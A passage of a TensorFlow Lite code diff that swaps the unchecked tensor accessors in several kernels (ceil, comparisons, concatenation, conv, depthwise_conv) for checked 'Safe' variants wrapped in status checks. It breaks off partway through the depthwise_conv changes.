--- a/tensorflow/lite/kernels/ceil.cc
+++ b/tensorflow/lite/kernels/ceil.cc
@@ -29,8 +29,11 @@ constexpr int kInputTensor = 0;
 constexpr int kOutputTensor = 0;
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
@@ -40,8 +43,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   if (input->type != kTfLiteFloat32) {
     TF_LITE_UNSUPPORTED_TYPE(context, input->type, "Ceil");
   }
diff --git a/tensorflow/lite/kernels/comparisons.cc b/tensorflow/lite/kernels/comparisons.cc
index 7d1c6b7804eb19..d0a1876c5c654f 100644
--- a/tensorflow/lite/kernels/comparisons.cc
+++ b/tensorflow/lite/kernels/comparisons.cc
@@ -41,9 +41,15 @@ TfLiteStatus ComparisonPrepareCommon(TfLiteContext* context, TfLiteNode* node,
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Don't support string.
   if (!is_string_allowed) {
@@ -145,9 +151,15 @@ void ComparisonString(bool (*opname)(const StringRef&, const StringRef&),
 }
 
 TfLiteStatus EqualEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   bool requires_broadcast = !HaveSameShapes(input1, input2);
   switch (input1->type) {
     case kTfLiteBool:
@@ -189,9 +201,15 @@ TfLiteStatus EqualEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus NotEqualEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   bool requires_broadcast = !HaveSameShapes(input1, input2);
   switch (input1->type) {
     case kTfLiteBool:
@@ -233,9 +251,15 @@ TfLiteStatus NotEqualEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus GreaterEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   bool requires_broadcast = !HaveSameShapes(input1, input2);
   switch (input1->type) {
     case kTfLiteFloat32:
@@ -268,9 +292,15 @@ TfLiteStatus GreaterEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus GreaterEqualEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   bool requires_broadcast = !HaveSameShapes(input1, input2);
   switch (input1->type) {
     case kTfLiteFloat32:
@@ -303,9 +333,15 @@ TfLiteStatus GreaterEqualEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus LessEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   bool requires_broadcast = !HaveSameShapes(input1, input2);
   switch (input1->type) {
     case kTfLiteFloat32:
@@ -338,9 +374,15 @@ TfLiteStatus LessEval(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus LessEqualEval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   bool requires_broadcast = !HaveSameShapes(input1, input2);
   switch (input1->type) {
     case kTfLiteFloat32:
diff --git a/tensorflow/lite/kernels/concatenation.cc b/tensorflow/lite/kernels/concatenation.cc
index 5d5f06ba013645..3f759228e0489d 100644
--- a/tensorflow/lite/kernels/concatenation.cc
+++ b/tensorflow/lite/kernels/concatenation.cc
@@ -45,7 +45,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // The number of dimensions of the input tensors must match, and all
   // dimensions except 'axis' must be equal.
-  const TfLiteTensor* t0 = GetInput(context, node, 0);
+  const TfLiteTensor* t0;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &t0));
   TfLiteType input_type = t0->type;
   if (axis < 0) axis += t0->dims->size;
   TF_LITE_ENSURE(context, axis >= 0);
@@ -63,7 +64,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // will be the sum of inputs
   int sum_axis = t0->dims->data[axis];
   for (int i = 1; i < num_inputs; ++i) {
-    const TfLiteTensor* t = GetInput(context, node, i);
+    const TfLiteTensor* t;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &t));
     TF_LITE_ENSURE_EQ(context, t->dims->size, t0->dims->size);
     TF_LITE_ENSURE_EQ(context, t->type, input_type);
     for (int d = 0; d < t0->dims->size; ++d) {
@@ -80,7 +82,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     output_size->data[d] = (d == axis) ? sum_axis : t0->dims->data[d];
   }
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   TF_LITE_ENSURE_TYPES_EQ(context, output->type, input_type);
 
   if (input_type == kTfLiteInt8) {
@@ -88,7 +91,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // is a restriction we introduced to Int8 kernels.
     VectorOfTensors<int8_t> all_inputs(*context, *node->inputs);
     for (int i = 0; i < node->inputs->size; ++i) {
-      const TfLiteTensor* t = GetInput(context, node, i);
+      const TfLiteTensor* t;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, i, &t));
       TF_LITE_ENSURE_EQ(context, t->params.scale, output->params.scale);
       TF_LITE_ENSURE_EQ(context, t->params.zero_point,
                         output->params.zero_point);
@@ -103,7 +107,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteConcatenationParams*>(node->builtin_data);
   int axis = params->axis;
-  TfLiteTensor* output = GetOutput(context, node, 0);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
   if (axis < 0) axis += output->dims->size;
 
 // TODO(ahentz): Creating 'all_inputs' below is not very efficient. We should
diff --git a/tensorflow/lite/kernels/conv.cc b/tensorflow/lite/kernels/conv.cc
index 1b12945b2f3959..5c978f8dbfb39a 100644
--- a/tensorflow/lite/kernels/conv.cc
+++ b/tensorflow/lite/kernels/conv.cc
@@ -222,8 +222,10 @@ static TfLiteStatus AllocateTemporaryTensorsIfRequired(TfLiteContext* context,
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
   TF_LITE_ENSURE(context, node->inputs->size >= 2);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  const TfLiteTensor* filter = GetInput(context, node, 1);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &filter));
 
   // If we're using the optimized multithreaded EigenTensor implementation of
   // convolution, it expects the filter weights to be transposed compared to
@@ -316,9 +318,12 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
   // Check number of inputs/outputs
   TF_LITE_ENSURE(context, has_bias || node->inputs->size == 2);
   TF_LITE_ENSURE_EQ(context, node->outputs->size, 1);
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  const TfLiteTensor* filter = GetInput(context, node, 1);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &filter));
 
   // Check dimensionality of input, filter
   TF_LITE_ENSURE_EQ(context, input->dims->size, 4);
@@ -340,7 +345,7 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
   TF_LITE_ENSURE(context, has_bias);
 
   if (has_bias) {
-    bias = GetInput(context, node, 2);
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 2, &bias));
     if (input_type == kTfLiteUInt8 || input_type == kTfLiteInt8) {
       TF_LITE_ENSURE_TYPES_EQ(context, bias->type, kTfLiteInt32);
       TF_LITE_ENSURE_EQ(context, bias->params.zero_point, 0);
@@ -493,8 +498,10 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
   if (is_hybrid) {
     node->temporaries->data[data->input_quantized_index] =
         data->input_quantized_id;
-    TfLiteTensor* input_quantized =
-        GetTemporary(context, node, data->input_quantized_index);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, data->input_quantized_index,
+                                  &input_quantized));
     input_quantized->type = kTfLiteInt8;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -505,8 +512,10 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
 
     node->temporaries->data[data->scaling_factors_index] =
         data->scaling_factors_id;
-    TfLiteTensor* scaling_factors =
-        GetTemporary(context, node, data->scaling_factors_index);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, data->scaling_factors_index,
+                                  &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     // Only one scale factor per batch is typically necessary. See optimized
@@ -522,8 +531,10 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
     }
 
     node->temporaries->data[data->accum_scratch_index] = data->accum_scratch_id;
-    TfLiteTensor* accum_scratch =
-        GetTemporary(context, node, data->accum_scratch_index);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, data->accum_scratch_index,
+                                       &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     const int scratch_width = batches * out_height * out_width;
@@ -545,8 +556,10 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
           context, affine_quantization->scale->size,
           filter->dims->data[affine_quantization->quantized_dimension]);
       node->temporaries->data[data->input_offset_index] = data->input_offset_id;
-      TfLiteTensor* input_offsets =
-          GetTemporary(context, node, data->input_offset_index);
+      TfLiteTensor* input_offsets;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, data->input_offset_index,
+                                    &input_offsets));
       input_offsets->type = kTfLiteInt32;
       input_offsets->allocation_type = kTfLiteArenaRw;
       // See above comment for the need to allocate for height of inputs.
@@ -560,8 +573,10 @@ TfLiteStatus Prepare(KernelType kernel_type, TfLiteContext* context,
                                                          input_offsets_size));
       }
       node->temporaries->data[data->row_sums_index] = data->row_sums_id;
-      TfLiteTensor* row_sums =
-          GetTemporary(context, node, data->row_sums_index);
+      TfLiteTensor* row_sums;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, data->row_sums_index, &row_sums));
       row_sums->type = kTfLiteInt32;
       row_sums->allocation_type = kTfLiteArenaRwPersistent;
       // See above comment for the need to allocate for height of inputs.
@@ -802,23 +817,34 @@ void EvalFloat(TfLiteContext* context, TfLiteNode* node,
 }
 
 template <KernelType kernel_type>
-void EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,
-                          TfLiteConvParams* params, OpData* data,
-                          const TfLiteTensor* input, const TfLiteTensor* filter,
-                          const TfLiteTensor* bias, TfLiteTensor* im2col,
-                          TfLiteTensor* output) {
+TfLiteStatus EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,
+                                  TfLiteConvParams* params, OpData* data,
+                                  const TfLiteTensor* input,
+                                  const TfLiteTensor* filter,
+                                  const TfLiteTensor* bias,
+                                  TfLiteTensor* im2col, TfLiteTensor* output) {
   float output_activation_min, output_activation_max;
   CalculateActivationRange(params->activation, &output_activation_min,
                            &output_activation_max);
 
   const int input_size = NumElements(input) / SizeOfDimension(input, 0);
   const int batch_size = SizeOfDimension(input, 0);
-  int8_t* quantized_input_ptr_batch = GetTensorData<int8_t>(
-      GetTemporary(context, node, data->input_quantized_index));
-  float* scaling_factors_ptr = GetTensorData<float>(
-      GetTemporary(context, node, data->scaling_factors_index));
-  int32_t* input_offset_ptr = GetTensorData<int32_t>(
-      GetTemporary(context, node, data->input_offset_index));
+  TfLiteTensor* quantized_input_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->input_quantized_index,
+                                     &quantized_input_tensor));
+  int8_t* quantized_input_ptr_batch =
+      GetTensorData<int8_t>(quantized_input_tensor);
+  TfLiteTensor* scaling_factors_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->scaling_factors_index,
+                                     &scaling_factors_tensor));
+  float* scaling_factors_ptr = GetTensorData<float>(scaling_factors_tensor);
+  TfLiteTensor* input_offset_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->input_offset_index,
+                                     &input_offset_tensor));
+  int32_t* input_offset_ptr = GetTensorData<int32_t>(input_offset_tensor);
 
   for (int b = 0; b < batch_size; ++b) {
     const int offset = b * input_size;
@@ -859,10 +885,14 @@ void EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,
     case kGenericOptimized:
     case kMultithreadOptimized:
     case kCblasOptimized: {
-      TfLiteTensor* row_sums =
-          GetTemporary(context, node, data->row_sums_index);
-      TfLiteTensor* scratch =
-          GetTemporary(context, node, data->accum_scratch_index);
+      TfLiteTensor* row_sums;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, data->row_sums_index, &row_sums));
+      TfLiteTensor* scratch;
+      TF_LITE_ENSURE_OK(
+          context,
+          GetTemporarySafe(context, node, data->accum_scratch_index, &scratch));
       optimized_ops::HybridConvPerChannel(
           op_params, scaling_factors_ptr, GetTensorShape(input),
           quantized_input_ptr_batch, GetTensorShape(filter), filter_ptr,
@@ -877,14 +907,16 @@ void EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,
       break;
     }
   }
+
+  return kTfLiteOk;
 }
 
 template <KernelType kernel_type>
-void EvalHybrid(TfLiteContext* context, TfLiteNode* node,
-                TfLiteConvParams* params, OpData* data,
-                const TfLiteTensor* input, const TfLiteTensor* filter,
-                const TfLiteTensor* bias, TfLiteTensor* im2col,
-                TfLiteTensor* accum_scratch, TfLiteTensor* output) {
+TfLiteStatus EvalHybrid(TfLiteContext* context, TfLiteNode* node,
+                        TfLiteConvParams* params, OpData* data,
+                        const TfLiteTensor* input, const TfLiteTensor* filter,
+                        const TfLiteTensor* bias, TfLiteTensor* im2col,
+                        TfLiteTensor* accum_scratch, TfLiteTensor* output) {
   float output_activation_min, output_activation_max;
   CalculateActivationRange(params->activation, &output_activation_min,
                            &output_activation_max);
@@ -893,10 +925,17 @@ void EvalHybrid(TfLiteContext* context, TfLiteNode* node,
   const int batch_size = SizeOfDimension(input, 0);
 
   const float* input_ptr = GetTensorData<float>(input);
-  int8_t* quantized_input_ptr_batch = GetTensorData<int8_t>(
-      GetTemporary(context, node, data->input_quantized_index));
-  float* scaling_factors_ptr = GetTensorData<float>(
-      GetTemporary(context, node, data->scaling_factors_index));
+  TfLiteTensor* quantized_input_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->input_quantized_index,
+                                     &quantized_input_tensor));
+  int8_t* quantized_input_ptr_batch =
+      GetTensorData<int8_t>(quantized_input_tensor);
+  TfLiteTensor* scaling_factors_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->scaling_factors_index,
+                                     &scaling_factors_tensor));
+  float* scaling_factors_ptr = GetTensorData<float>(scaling_factors_tensor);
 
   // Per-batch input quantization for higher accuracy.
   {
@@ -939,6 +978,8 @@ void EvalHybrid(TfLiteContext* context, TfLiteNode* node,
       break;
     }
   }
+
+  return kTfLiteOk;
 }
 
 template <KernelType kernel_type, TfLiteType input_type>
@@ -946,9 +987,12 @@ TfLiteStatus EvalImpl(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteConvParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  TfLiteTensor* output = GetOutput(context, node, 0);
-  const TfLiteTensor* input = GetInput(context, node, 0);
-  const TfLiteTensor* filter = GetInput(context, node, 1);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &filter));
   bool has_bias = node->inputs->size == 3;
   const TfLiteTensor* bias = has_bias ? GetInput(context, node, 2) : nullptr;
   TfLiteTensor* im2col =
@@ -970,14 +1014,17 @@ TfLiteStatus EvalImpl(TfLiteContext* context, TfLiteNode* node) {
     case kTfLiteFloat32:
       if (filter->type == kTfLiteUInt8 || filter->type == kTfLiteInt8) {
         if (data->is_hybrid_per_channel) {
-          EvalHybridPerChannel<kernel_type>(context, node, params, data, input,
-                                            filter, bias, im2col, output);
+          TF_LITE_ENSURE_OK(context, EvalHybridPerChannel<kernel_type>(
+                                         context, node, params, data, input,
+                                         filter, bias, im2col, output));
         } else {
           TfLiteTensor* accum_scratch =
               &context->tensors[node->temporaries
                                     ->data[data->accum_scratch_index]];
-          EvalHybrid<kernel_type>(context, node, params, data, input, filter,
-                                  bias, im2col, accum_scratch, output);
+          TF_LITE_ENSURE_OK(context,
+                            EvalHybrid<kernel_type>(context, node, params, data,
+                                                    input, filter, bias, im2col,
+                                                    accum_scratch, output));
         }
       } else {
         EvalFloat<kernel_type>(context, node, params, data, input, filter, bias,
@@ -1006,7 +1053,8 @@ TfLiteStatus EvalImpl(TfLiteContext* context, TfLiteNode* node) {
 
 template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, 0);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
 
   switch (input->type) {
     case kTfLiteFloat32:
diff --git a/tensorflow/lite/kernels/depth_to_space.cc b/tensorflow/lite/kernels/depth_to_space.cc
index 1637ad4350f889..d61049f85a9adb 100644
--- a/tensorflow/lite/kernels/depth_to_space.cc
+++ b/tensorflow/lite/kernels/depth_to_space.cc
@@ -45,8 +45,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);
 
@@ -84,8 +87,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params =
       reinterpret_cast<TfLiteDepthToSpaceParams*>(node->builtin_data);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
 #define TF_LITE_DEPTH_TO_SPACE(type, scalar)                               \
   tflite::DepthToSpaceParams op_params;                                    \
diff --git a/tensorflow/lite/kernels/depthwise_conv.cc b/tensorflow/lite/kernels/depthwise_conv.cc
index 961a987cf028a0..a76853da190e23 100644
--- a/tensorflow/lite/kernels/depthwise_conv.cc
+++ b/tensorflow/lite/kernels/depthwise_conv.cc
@@ -104,12 +104,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   bool hasBias = NumInputs(node) == 3;
 
   TF_LITE_ENSURE(context, hasBias || NumInputs(node) == 2);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* filter = GetInput(context, node, kFilterTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* filter;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kFilterTensor, &filter));
   const TfLiteTensor* bias = nullptr;
 
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 4);
   TF_LITE_ENSURE_EQ(context, NumDimensions(filter), 4);
@@ -132,7 +137,7 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(filter, 0), 1);
 
   if (hasBias) {
-    bias = GetInput(context, node, kBiasTensor);
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBiasTensor, &bias));
     if (data_type == kTfLiteUInt8 || data_type == kTfLiteInt8) {
       TF_LITE_ENSURE_TYPES_EQ(context, bias->type, kTfLiteInt32);
       TF_LITE_ENSURE_EQ(context, bias->params.zero_point, 0);
@@ -224,8 +229,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
     node->temporaries->data[data->input_quantized_index] =
         data->input_quantized_id;
-    TfLiteTensor* input_quantized =
-        GetTemporary(context, node, data->input_quantized_index);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, data->input_quantized_index,
+                                  &input_quantized));
     input_quantized->type = kTfLiteInt8;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -235,8 +242,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[data->scaling_factors_index] =
         data->scaling_factors_id;
-    TfLiteTensor* scaling_factors =
-        GetTemporary(context, node, data->scaling_factors_index);
+    TfLiteTensor* scaling_factors;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, data->scaling_factors_index,
+                                  &scaling_factors));
     scaling_factors->type = kTfLiteFloat32;
     scaling_factors->allocation_type = kTfLiteArenaRw;
     const int batch_size = SizeOfDimension(input, 0);
@@ -248,8 +257,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        scaling_factors_size));
     }
     node->temporaries->data[data->input_offset_index] = data->input_offset_id;
-    TfLiteTensor* input_offsets =
-        GetTemporary(context, node, data->input_offset_index);
+    TfLiteTensor* input_offsets;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, data->input_offset_index,
+                                       &input_offsets));
     input_offsets->type = kTfLiteInt32;
     input_offsets->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(input_offsets->dims, 1, scaling_dims)) {
@@ -446,13 +457,21 @@ TfLiteStatus EvalHybridPerChannel(TfLiteContext* context, TfLiteNode* node,
                            &output_activation_max);
   const int input_size = NumElements(input) / SizeOfDimension(input, 0);
   const int batch_size = SizeOfDimension(input, 0);
-  const TfLiteTensor* input_quantized =
-      GetTemporary(context, node, data->input_quantized_index);
+  TfLiteTensor* input_quantized;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->input_quantized_index,
+                                     &input_quantized));
   int8_t* quantized_input_ptr_batch = input_quantized->data.int8;
-  float* scaling_factors_ptr = GetTensorData<float>(
-      GetTemporary(context, node, data->scaling_factors_index));
-  int32_t* input_offset_ptr = GetTensorData<int32_t>(
-      GetTemporary(context, node, data->input_offset_index));
+  TfLiteTensor* scaling_factors_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->scaling_factors_index,
+                                     &scaling_factors_tensor));
+  float* scaling_factors_ptr = GetTensorData<float>(scaling_factors_tensor);
+  TfLiteTensor* input_offset_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, data->input_offset_index,
+                                     &input_offset_tensor));
+  int32_t* input_offset_ptr = GetTensorData<int32_t>(input_offset_tensor);
 
   for (int b = 0; b < batch_size; ++b) {
     const int offset = b * input_size;
@@ -504,9 +523,14 @@ TfLiteStatus EvalImpl(TfLiteContext* context, TfLiteNode* node) {
       reinterpret_cast<TfLiteDepthwiseConvParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
